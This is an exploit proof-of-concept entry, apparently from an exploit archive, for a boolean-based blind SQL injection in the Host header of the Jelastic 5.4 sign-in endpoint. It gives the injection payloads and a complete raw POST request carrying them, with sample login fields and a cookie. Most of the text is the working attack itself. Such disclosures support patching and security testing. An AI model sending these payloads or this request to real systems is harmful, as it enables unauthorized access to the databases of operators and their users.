Jelastic 5.4 SQL Injection

`# Exploit Title: Jelastic 5.4 - 'host' SQL injection  
# Google Dork: N/A  
# Date: [date]  
# Exploit Author: Procode701  
# Vendor Homepage: https://jelastic.com/  
# Software Link: https://jelastic.com/  
# Version: 5.4  
# Tested on: [Kali Linux]  
# CVE : N/A  
  
# POC:   
# The application /1.0/users/authentication/rest/signin is vulnerable to SQL injection.  
# Vulnerable application Header field: Host:' AND 8494=8494-- ttWV  
  
# EXPLOIT POC :  
# Parameter: Host #1* ((custom) HEADER)  
# Type: boolean-based blind  
# Payload:' AND 8494=8494-- ttWV  
# PAYLOAD: ' AND 8494=8494-- ttWV  
  
POST /1.0/users/authentication/rest/signin HTTP/1.1  
Host: localhost'-8564' OR 8495=8495-- yjRM--delay=0  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0  
Accept: */*  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: https://localhost  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Content-Length: 128  
Cookie: GLang=en; GLocale=en-us; jrouter=b916bf4d3b39e6029fd403f21566f3f1  
DNT: 1  
Connection: close  
  
charset=UTF-8&hx_lang=en&session=1&ruk=cccc5e05-c0cb-4419-8a34-tab606191&email=testing%40gg.com&password=testing&appid=dashboard  
  
  
`